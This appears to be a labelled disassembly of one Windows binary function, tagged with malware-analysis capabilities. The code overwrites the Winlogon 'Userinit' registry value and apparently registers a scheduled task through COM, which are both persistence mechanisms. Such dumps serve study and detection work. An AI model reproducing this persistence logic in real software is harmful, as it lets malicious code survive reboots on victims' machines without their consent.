Function at 0x1400013a0
Capabilities:
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0xc0]
sub rsp, 0x1c0
mov rax, qword [0x140006040]
xor rax, rsp
mov qword [rbp + 0xb8], rax
mov rdi, rdx
mov rsi, rcx
xor r12d, r12d
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x68], r12
mov qword [rbp + 0x78], r12
mov qword [rbp + 0x88], r12
mov qword [rbp + 0x80], r12
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], r12
mov qword [rbp + 0xa0], r12
mov qword [rbp + 0xb0], r12
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
js 0x1400018de
lea rax, [rbp + 0xa8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000149e
mov rcx, rdi
cmp qword [rdi + 0x18], 7
jbe 0x140001461
mov rcx, qword [rdi]
mov eax, dword [rdi + 0x10]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.Userinit
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp + 0x60]
mov qword [rsp + 0x20], rax
lea r9, [0x140004358]
xor edx, edx
mov r8d, 1
lea rcx, [0x140004368]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400018d8
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x58]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rbp - 0x48]
movsd qword [rsp + 0x58], xmm0
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [rbp - 0x60]
movsd qword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp + 0x20]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [rbp + 0x30]
movsd qword [rsp + 0x50], xmm0
lea rcx, [rbp]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [rsp + 0x58]
movsd qword [rbp - 0x80], xmm0
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [rsp + 0x60]
movsd qword [rbp - 0x30], xmm0
movups xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp - 0x10], xmm0
movups xmm0, xmmword [rbp]
movaps xmmword [rbp + 0x40], xmm0
movsd xmm1, qword [rbp + 0x10]
movsd qword [rbp + 0x50], xmm1
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x20], rdx
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x40]
call qword [rax + 0x50]
mov ebx, eax
lea rcx, [rbp]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp + 0x20]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test ebx, ebx
js 0x1400018ce
mov ecx, 0x18
call fcn.140002528
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000161c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
lea rcx, [0x1400044d4]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140001c32
jmp 0x14000161f
mov rbx, r12
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140001c69
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
lea r8, [rbp + 0x70]
mov rdx, qword [rbx]
call qword [rax + 0x38]
mov r15d, eax
mov r14d, 0xffffffff
mov ecx, r14d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140001684
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001665
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001677
call fcn.140002520
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140002520
test r15d, r15d
js 0x1400018ce
mov r15, rsi
cmp qword [rsi + 0x18], 7
jbe 0x14000169a
mov r15, qword [rsi]
mov ecx, 0x18
call fcn.140002528
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400016e4
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
mov rcx, r15
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x1400016e7
test r15, r15
jne 0x140001c3d
jmp 0x1400016e7
mov rbx, r12
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140001c69
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
xor r8d, r8d
mov rdx, qword [rbx]
call qword [rax + 0x78]
nop
mov eax, r14d
lock xadd dword [rbx + 0x10], eax
cmp eax, 1
jne 0x140001743
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001724
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001736
call fcn.140002520
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140002520
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
lea r8, [rbp + 0x68]
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x1400018c4
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
lea rdx, [rbp + 0x78]
call qword [rax + 0x78]
test eax, eax
js 0x1400018ba
mov ecx, 0x18
call fcn.140002528
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400017ba
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
lea rcx, [0x1400044d8]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
je 0x140001c48
jmp 0x1400017bd
mov rbx, r12
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140001c69
mov rcx, qword [rbp + 0x78]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x40]
mov r15d, eax
mov ecx, r14d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140001818
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400017f9
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14000180b
call fcn.140002520
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140002520
mov rcx, qword [rbp + 0x78]
mov rax, qword [rcx]
test r15d, r15d
js 0x1400018b7
mov edx, 3
call qword [rax + 0x70]
mov rcx, qword [rbp + 0x78]
test eax, eax
mov rax, qword [rcx]
js 0x1400018b7
mov edx, 1
call qword [rax + 0x90]
mov rcx, qword [rbp + 0x78]
test eax, eax
mov rax, qword [rcx]
js 0x1400018b7
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
lea rdx, [rbp + 0x88]
call qword [rax + 0x48]
test eax, eax
js 0x1400018ba
mov rcx, qword [rbp + 0x88]
mov rax, qword [rcx]
lea r8, [rbp + 0x80]
mov edx, 9
call qword [rax + 0x50]
mov ebx, eax
mov rcx, qword [rbp + 0x88]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
test ebx, ebx
js 0x1400018c1
lea rdx, [rbp + 0x90]
call qword [rax + 0x88]
test eax, eax
jns 0x14000190b
mov rcx, qword [rbp + 0x80]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
xor al, al
mov rcx, qword [rbp + 0xb8]
xor rcx, rsp
call fcn.140002500
lea r11, [rsp + 0x1c0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov rcx, qword [rbp + 0x90]
mov rax, qword [rcx]
lea r8, [rbp + 0x98]
xor edx, edx
call qword [rax + 0x60]
mov ebx, eax
mov rcx, qword [rbp + 0x90]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x1400018ad
mov rcx, qword [rbp + 0x98]
mov rax, qword [rcx]
lea r8, [rbp + 0xa0]
lea rdx, str.MbLk
call qword [rax]
mov ebx, eax
mov rcx, qword [rbp + 0x98]
mov rdx, qword [rcx]
call qword [rdx + 0x10]
test ebx, ebx
js 0x1400018ad
cmp qword [rdi + 0x18], 7
jbe 0x140001973
mov rdi, qword [rdi]
mov ecx, 0x18
call fcn.140002528
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x1400019bd
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
mov rcx, rdi
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x1400019c0
test rdi, rdi
jne 0x140001c53
jmp 0x1400019c0
mov rbx, r12
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140001c69
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rcx]
mov rdx, qword [rbx]
call qword [rax + 0x58]
mov edi, eax
mov ecx, r14d
lock xadd dword [rbx + 0x10], ecx
cmp ecx, 1
jne 0x140001a1d
mov rcx, qword [rbx]
test rcx, rcx
je 0x1400019fe
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001a10
call fcn.140002520
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140002520
mov rcx, qword [rbp + 0xa0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x80]
mov rax, qword [rcx]
call qword [rax + 0x10]
test edi, edi
js 0x1400018ba
mov eax, 8
mov word [rsp + 0x70], ax
lea rcx, [0x1400044f0]
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rsp + 0x78], rax
test rax, rax
je 0x140001c74
movups xmm0, xmmword [rsp + 0x70]
movups xmmword [rbp - 0x20], xmm0
movsd xmm0, qword [rbp - 0x80]
movsd qword [rsp + 0x50], xmm0
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x70]
movups xmmword [rbp - 0x40], xmm0
movsd xmm0, qword [rbp - 0x60]
movsd qword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantClear]
nop
movups xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp + 0x40], xmm0
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbp + 0x50], xmm0
movups xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp + 0x20], xmm0
movsd xmm0, qword [rsp + 0x60]
movsd qword [rbp + 0x30], xmm0
movups xmm0, xmmword [rbp - 0x58]
movaps xmmword [rbp], xmm0
movsd xmm1, qword [rbp - 0x48]
movsd qword [rbp + 0x10], xmm1
cmp qword [rsi + 0x18], 7
jbe 0x140001ae3
mov rsi, qword [rsi]
mov ecx, 0x18
call fcn.140002528
mov rbx, rax
mov qword [rsp + 0x50], rax
test rax, rax
je 0x140001b2d
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rax
mov qword [rbx + 8], r12
mov dword [rbx + 0x10], 1
mov rcx, rsi
call qword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov qword [rbx], rax
test rax, rax
jne 0x140001b30
test rsi, rsi
jne 0x140001c5e
jmp 0x140001b30
mov rbx, r12
mov qword [rsp + 0x50], rbx
test rbx, rbx
je 0x140001c27
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
lea rdx, [rbp + 0xb0]
mov qword [rsp + 0x40], rdx
lea rdx, [rbp + 0x40]
mov qword [rsp + 0x38], rdx
mov dword [rsp + 0x30], 3
lea rdx, [rbp + 0x20]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp]
mov qword [rsp + 0x20], rdx
mov r9d, 6
mov r8, qword [rbp + 0x68]
mov rdx, qword [rbx]
call qword [rax + 0x88]
mov edi, eax
lock xadd dword [rbx + 0x10], r14d
cmp r14d, 1
jne 0x140001bc6
mov rcx, qword [rbx]
test rcx, rcx
je 0x140001ba6
call qword [sym.imp.OLEAUT32.dll_SysStringLen]
mov qword [rbx], r12
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x140001bb8
call fcn.140002520
mov qword [rbx + 8], r12
mov edx, 0x18
mov rcx, rbx
call fcn.140002520
nop
lea rcx, [rbp - 0x58]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rbp - 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
nop
lea rcx, [rsp + 0x70]
call qword [sym.imp.OLEAUT32.dll_VariantCopy]
test edi, edi
js 0x1400018ba
mov rcx, qword [rbp + 0xb0]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
mov al, 1
jmp 0x1400018e0
mov ecx, 0x8007000e
call fcn.140002360
nop
mov ecx, 0x8007000e
call fcn.140002360
nop
mov ecx, 0x8007000e
call fcn.140002360
nop
mov ecx, 0x8007000e
call fcn.140002360
nop
mov ecx, 0x8007000e
call fcn.140002360
nop
mov ecx, 0x8007000e
call fcn.140002360
nop
mov ecx, 0x8007000e
call fcn.140002360
int3
mov ecx, 0x8007000e
call fcn.140002360
int3